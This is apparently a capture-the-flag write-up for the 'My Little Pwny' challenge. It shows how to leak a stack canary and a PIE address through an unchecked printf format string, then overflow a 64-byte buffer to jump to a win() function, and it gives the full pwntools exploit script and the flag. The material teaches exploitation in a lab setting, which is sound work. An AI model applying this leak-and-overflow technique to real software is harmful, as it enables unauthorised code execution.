The My Little Pwny challenge involves exploiting a compiled c binary (pwny) that contains a buffer overflow vulnerability and an exploitable printf function. The goal is to execute the win() function, which reads and prints the flag from a file.
Running checksec on the pwny binary shows us that we're going to have to bypass all the normal modern protections, no executable stacks, unrandomized addresses, or canary free buffers today.
checksec --file=pwny
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 37 Symbols No 0 2 pwny
The binary calls the vulnerable name_pony function twice, giving us two opportunities to exploit the buffer overflow vulnerability with fgets(), however the second call does not print the input with printf(), so we have only one chance to leak values (without doing fun things with the vulnerabilities later)
Reversing the name_pony function should result in a decompilation that resembles this original source code
void name_pony(int index) {
char buffer[64];
printf("Enter your pony's name: ");
fgets(buffer, 128, stdin); // exploitable buffer overflow
// Strip the newline character if present
size_t len = strlen(buffer);
if (len > 0 && buffer[len - 1] == 'n') {
buffer[len - 1] = '\0';
}
switch (index) {
case 0:
printf(buffer); //exploitable printf
printf(", that's beautiful!n");
break;
case 1:
printf("That name is perfect, I dare not sully it by saying it outloud!n");
break;
}
}
Sadly the main function is simply a wrapper to call name_pony twice, nothing interesting there.
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("You just got gifted with two ponies, what will you name them?n");
printf("nThe first one tramples out with a shiny coat of fur that radiates positive energyn");
name_pony(0);
printf("nThe second one prances around with a mane that glistens like the morning dewn");
name_pony(1);
printf("nEnjoy your ponies!n");
return 0;
}
Also of note is an unused win function, this is where we want to get to solve the challenge.
int win() {
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
char flag[128];
if (fgets(flag, sizeof(flag), file) != NULL) {
printf("Flag: %sn", flag);
} else {
perror("Error reading file");
}
fclose(file);
return 0;
}
In the name_pony function, the fgets function is used to read input into a buffer of size 64, but it allows up to 128 bytes to be read. This gives us a 64 byte buffer overflow, allowing us to overwrite the stack, including the return address. Of note, we do have a stack canary in the way of simply writing to the return pointer, and we also have PIE, so we can't use absolute addresses.
The printf function in name_pony is called with user input directly, which can be exploited to leak memory addresses, exactly what we need to further abuse the buffer overflow vulnerability!
printf() can be used to print arbitrary stack values, this is exactly what we need to leak a couple of values:
The printf syntax to print an arbitrary stack value is %x$p where x is the offset to the value we want to print. We enumerate through possible values and come up with the following two useful ones:
%19$p is used to print the canary value from the stack.%6$p is used to leak a PIE address, which helps in calculating the base address of the binary. To determine the base address from our PIE address leak, we can open the binary in GDB, and leak the 6th value on the stack, and subtract the PIE base address (which can be gotten with piebase) to find our offset. In this case the offset is 0x20f0, so we simply subtract 0x20f0 from our leaked value to determine the PIE base address whenever we run the exploitWe only have one call to printf, but we need to leak two values to abuse the buffer overflow, thankfully we can leak both values at once with a payload like %19$p-%6$p^, which will allow us to separate the two values from the single printf statement.
With the leaked canary and PIE base address, we construct a payload to overwrite the return address with the address of the win() function.
win() function.
from pwn import *
# Set up the binary and context
binary = './pwny'
elf = ELF(binary)
context.binary = binary
PIE_OFFSET = 0x20f0
CANARY_BUFFER_OFFSET = 72
#p = process(binary)
p = remote('kubenode.mctf.io', 30012)
p.recvuntil('positive energy')
p.sendline(b'%19$p-%6$p^')
leaks = p.recvuntil(b'!')
canary = int(leaks.split(b'-')[0].split()[-1], 16)
log.success(f'Leaked canary: {hex(canary)}')
leaked_pie = int(int(leaks.split(b'-')[1].split(b'^')[0], 16))
log.success(f'Leaked pie address: {hex(leaked_pie)}')
base_address = leaked_pie - PIE_OFFSET
elf.address = base_address
log.success(f"Base pie address: {hex(base_address)}")
payload = flat(
b"A" * CANARY_BUFFER_OFFSET, # Overflow buffer
p64(canary), # Canary value
b"B" * 8, # Padding to reach return address
elf.symbols.win
)
p.sendline(payload)
print(p.recvall().split(b'Flag: ')[1].strip())
MetaCTF{l3ak_7h3_c4nary_p1e}